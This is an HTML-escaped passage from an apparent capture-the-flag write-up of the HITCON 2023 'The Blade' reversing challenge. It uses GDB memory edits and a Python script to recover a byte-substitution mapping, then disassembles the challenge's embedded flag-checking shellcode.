&lt;li&gt;Break before mapping, and hard-code &lt;code&gt;__ptr&lt;/code&gt; by &lt;a href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#modify-memory&quot;&gt;modifying its memory&lt;/a&gt;.
Since the goal is to discover the remaining mappings, we&#39;ll hard-code &lt;code&gt;__ptr&lt;/code&gt; with the rest of the bytes outside our Base64 alphabet.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Y&#39;know what? Let&#39;s go with the last option!&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-language=&quot;GDB&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;gdb&gt;&quot; data-filter-output=&quot;out&gt;&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;gdb&gt;&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;gdb&gt;&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;gdb&gt;&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;gdb&gt;&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;gdb&gt;&quot;&gt;&lt;/span&gt;&lt;span data-prompt=&quot;gdb&gt;&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;gdb&gt;&quot;&gt;&lt;/span&gt;&lt;span data-prompt=&quot;gdb&gt;&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;gdb&gt;&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;gdb&gt;&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;start&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Break before the loop.&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;break&lt;/span&gt; *_ZN13seccomp_shell5shell6verify17h898bf5fa26dafbabE + &lt;span class=&quot;token number&quot;&gt;937&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Break after the loop.&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;break&lt;/span&gt; *_ZN13seccomp_shell5shell6verify17h898bf5fa26dafbabE + &lt;span class=&quot;token number&quot;&gt;1070&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;continue&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;(breakpoint-before-loop triggered)&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Set 8x8 = 64 bytes. (I used a Python script to generate these `set` cmds from the missing input bytes.)&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;set&lt;/span&gt; *&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;0x5555555d63e0 as *mut u64&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; 0x0001020304050607&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;set&lt;/span&gt; *&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;0x5555555d63e8 as *mut u64&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; 0x08090a0b0c0d0e0f&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;and so on...&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;set&lt;/span&gt; *&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;0x5555555d6410 as *mut u64&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; 0x3c3d3e3f405b5c5d&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;set&lt;/span&gt; *&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;0x5555555d6418 as *mut u64&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; 0x5e5f607b7c7d7e7f&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;continue&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;(breakpoint-after-loop triggered)&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Get mapped bytes.&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;x/16wx 0x5555555d63e0&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;...&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Repeat until all mappings are deduced...&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;GDB&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Finished gathering data? Let&#39;s analyse it!&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Values obtained with `x/16wx 0x5555555d63e0`.&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Values before mapping.&lt;/span&gt;
dst &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token triple-quoted-string string&quot;&gt;&quot;&quot;&quot;
0x5555555d63e0: 0x76357052      0x6d5a412b      0x5758384d      0x67733179
0x5555555d63f0: 0x4254684e      0x7a436f2f      0x50645659      0x366e4772
0x5555555d6400: 0x5133444b      0x656b6c39      0x46747134      0x30624878
0x5555555d6410: 0x634f5575      0x496a3253      0x4c664a45      0x77696137

0x5555555d63e0: 0x04050607      0x00010203      0x0c0d0e0f      0x08090a0b
0x5555555d63f0: 0x14151617      0x10111213      0x1c1d1e1f      0x18191a1b
0x5555555d6400: 0x24252627      0x20212223      0x2d2e3a3b      0x28292a2c
0x5555555d6410: 0x405b5c5d      0x3c3d3e3f      0x7c7d7e7f      0x5e5f607b

-- snip -- to save space --
&quot;&quot;&quot;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Values after mapping.&lt;/span&gt;
mpd &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token triple-quoted-string string&quot;&gt;&quot;&quot;&quot;
0x5555555d63e0: 0x2e616c58      0xe2cb3269      0xa002e0b3      0xc16b1c86
0x5555555d63f0: 0xd2799cec      0x74d9c29e      0x9f043b0c      0xed14031e
0x5555555d6400: 0xca978fa2      0x39a4d8da      0xaf7e645b      0x0f71930b
0x5555555d6410: 0x0a81fd99      0x3aef66b7      0xe1ff00ee      0x09ab75ad

0x5555555d63e0: 0x51158ddb      0xfb7b4ebb      0xaab260eb      0xb0aca58e
0x5555555d63f0: 0x2bc6a635      0x635cde42      0xbd24b1e3      0x3043d65f
0x5555555d6400: 0x7c6d8b17      0x8ca7d52a      0x59a92706      0x9d83fe10
0x5555555d6410: 0x41a880c0      0x25dc5ee7      0xc42d4ff9      0x164d2f6a

-- snip --
&quot;&quot;&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;mkbytes&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;s&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;bs&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;i&lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;i&lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; l &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; s&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;strip&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;split&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;&#92;n&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; l&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;strip&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; bs &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; l&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;split&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;: &#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;split&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; i &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

dbytes &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; mkbytes&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;dst&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
mbytes &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; mkbytes&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;mpd&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

mp &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;256&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;# Value map.&lt;/span&gt;
rmp &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;256&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# Reverse value map.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; a&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; b &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;zip&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;dbytes&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; mbytes&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    mp&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;a&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; b
    rmp&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;b&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; a

&lt;span class=&quot;token comment&quot;&gt;# Assert bijection.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;mp&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;rmp&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;256&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;And just like that, we obtained a reverse mapping, thanks to it being a bijection!&lt;/p&gt;
&lt;div class=&quot;alert alert-success d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-lightbulb ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;&lt;strong&gt;What is a bijection?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;A &lt;strong&gt;bijection&lt;/strong&gt; is a function where...&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;each input maps to a &lt;em&gt;unique&lt;/em&gt; output. (injective)&lt;/li&gt;
&lt;li&gt;each possible output is mapped from a corresponding input. Specifically, every value in the function&#39;s range has a mapping. (surjective)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This characteristic is crucial as it &lt;em&gt;guarantees&lt;/em&gt; an &lt;strong&gt;invertible operation&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Bijection example.&quot; href=&quot;https://trebledj.me/img/bijective-function-1629606712-625w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-60 alpha-img&quot; src=&quot;https://trebledj.me/img/bijective-function-1629606712-625w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 625 / 514&quot; alt=&quot;Mathematical mapping explanation of bijection.&quot; title=&quot;Bijection example.&quot; srcset=&quot;https://trebledj.me/img/bijective-function-1629606712-256w.webp 256w, https://trebledj.me/img/bijective-function-1629606712-512w.webp 512w, https://trebledj.me/img/bijective-function-1629606712-625w.webp 625w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 625px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;(&lt;a href=&quot;https://www.cuemath.com/algebra/bijective-function/&quot;&gt;Image Source&lt;/a&gt;)&lt;/sup&gt;&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;h3 id=&quot;3-cracking-the-shellcode&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hitcon-2023-the-blade/#3-cracking-the-shellcode&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; 3. Cracking the Shellcode&lt;/h3&gt;
&lt;p&gt;Address: &lt;code&gt;11310e&lt;/code&gt; – &lt;code&gt;1133a5&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The final part. Subtle, but delectable.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;What are the 255 bytes copied into the Rust &lt;code&gt;vec&lt;/code&gt;?&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-c&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-c&quot;&gt;local_278 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; alloc&lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt;raw_vec&lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt;RawVec&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;T&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;A&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;allocate_in&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0xff&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;memcpy&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;local_278&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;_0_8_&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;DAT_00162b2b&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0xff&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;What is the purpose of the data loaded at &lt;code&gt;11310e&lt;/code&gt;?&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-c&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-c&quot;&gt;local_238 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x526851a7&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
local_234 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x31ff2785&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
local_230 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xc7d28788&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
local_22c &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x523f23d3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
local_228 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xaf1f1055&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
local_224 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x5c94f027&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// -- snip --&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The 255 bytes loaded into a &lt;code&gt;vec&lt;/code&gt;? Guess what? That also happens to be a &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;shellcode&lt;/span&gt;!&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Follow-up question: if this is &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;shellcode&lt;/span&gt;, what does it do? how is it run?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We can disassemble it with &lt;code&gt;pwntools.disasm&lt;/code&gt; to get the following ASM.&lt;/p&gt;
&lt;div class=&quot;alert alert-warning d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-triangle-exclamation ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;Small caveat: you&#39;ll want to set &lt;code&gt;context.arch = &#39;amd64&#39;&lt;/code&gt; for &lt;code&gt;disasm&lt;/code&gt; to interpret the shellcode correctly. In the disassembly, we see our two points of insertion (&lt;code&gt;0xdeadbeef&lt;/code&gt;) treated as values, so &lt;code&gt;amd64&lt;/code&gt; is probably the right choice.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-asm&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-asm&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; snip &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;
  b2:   0f &lt;span class=&quot;token number&quot;&gt;05&lt;/span&gt;                   syscall             &lt;span class=&quot;token comment&quot;&gt;; read from /dev/zero&lt;/span&gt;
  b4:   &lt;span class=&quot;token number&quot;&gt;58&lt;/span&gt;                      pop    rax          &lt;span class=&quot;token comment&quot;&gt;; rax = 0&lt;/span&gt;
  b5:   &lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; f7 d0                not    rax          &lt;span class=&quot;token comment&quot;&gt;; exercise for the reader&lt;/span&gt;
  b8:   &lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; c1 e8 1d             shr    rax&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x1d&lt;/span&gt;    &lt;span class=&quot;token comment&quot;&gt;;&lt;/span&gt;
  bc:   &lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;99&lt;/span&gt;                   cqo                 &lt;span class=&quot;token comment&quot;&gt;;&lt;/span&gt;
  be:   6a &lt;span class=&quot;token number&quot;&gt;29&lt;/span&gt;                   push   &lt;span class=&quot;token number&quot;&gt;0x29&lt;/span&gt;         &lt;span class=&quot;token comment&quot;&gt;;&lt;/span&gt;
  c0:   &lt;span class=&quot;token number&quot;&gt;59&lt;/span&gt;                      pop    rcx          &lt;span class=&quot;token comment&quot;&gt;;&lt;/span&gt;
  c1:   &lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; f7 f1                div    rcx          &lt;span class=&quot;token comment&quot;&gt;;&lt;/span&gt;
  c4:   &lt;span class=&quot;token number&quot;&gt;49&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;96&lt;/span&gt;                   xchg   r14&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; rax     &lt;span class=&quot;token comment&quot;&gt;; swap r14 and rax&lt;/span&gt;
  c6:   6a &lt;span class=&quot;token number&quot;&gt;03&lt;/span&gt;                   push   &lt;span class=&quot;token number&quot;&gt;0x3&lt;/span&gt;
  c8:   &lt;span class=&quot;token number&quot;&gt;58&lt;/span&gt;                      pop    rax          &lt;span class=&quot;token comment&quot;&gt;; rax = 3&lt;/span&gt;
  c9:   0f &lt;span class=&quot;token number&quot;&gt;05&lt;/span&gt;                   syscall             &lt;span class=&quot;token comment&quot;&gt;; close()&lt;/span&gt;
  cb:   b8 ef be ad de          mov    eax&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xdeadbeef&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;; flag input&lt;/span&gt;
  d0:   &lt;span class=&quot;token number&quot;&gt;44&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;01&lt;/span&gt; e0                add    eax&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; r12d
  d3:   &lt;span class=&quot;token number&quot;&gt;44&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;31&lt;/span&gt; e8                xor    eax&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; r13d
  d6:   c1 c8 0b                ror    eax&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xb&lt;/span&gt;
  d9:   f7 d0                   not    eax
  db:   &lt;span class=&quot;token number&quot;&gt;44&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;31&lt;/span&gt; f0                xor    eax&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; r14d        &lt;span class=&quot;token comment&quot;&gt;; eax = ~(ror(0xb, (0xDEADBEEF + r12) ^ r13)) ^ r14&lt;/span&gt;
  de:   3d ef be ad de          cmp    eax&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xdeadbeef&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;; static values (expected output)&lt;/span&gt;
  e3:   &lt;span class=&quot;token number&quot;&gt;75&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;05&lt;/span&gt;                   jne    &lt;span class=&quot;token number&quot;&gt;0xea&lt;/span&gt;
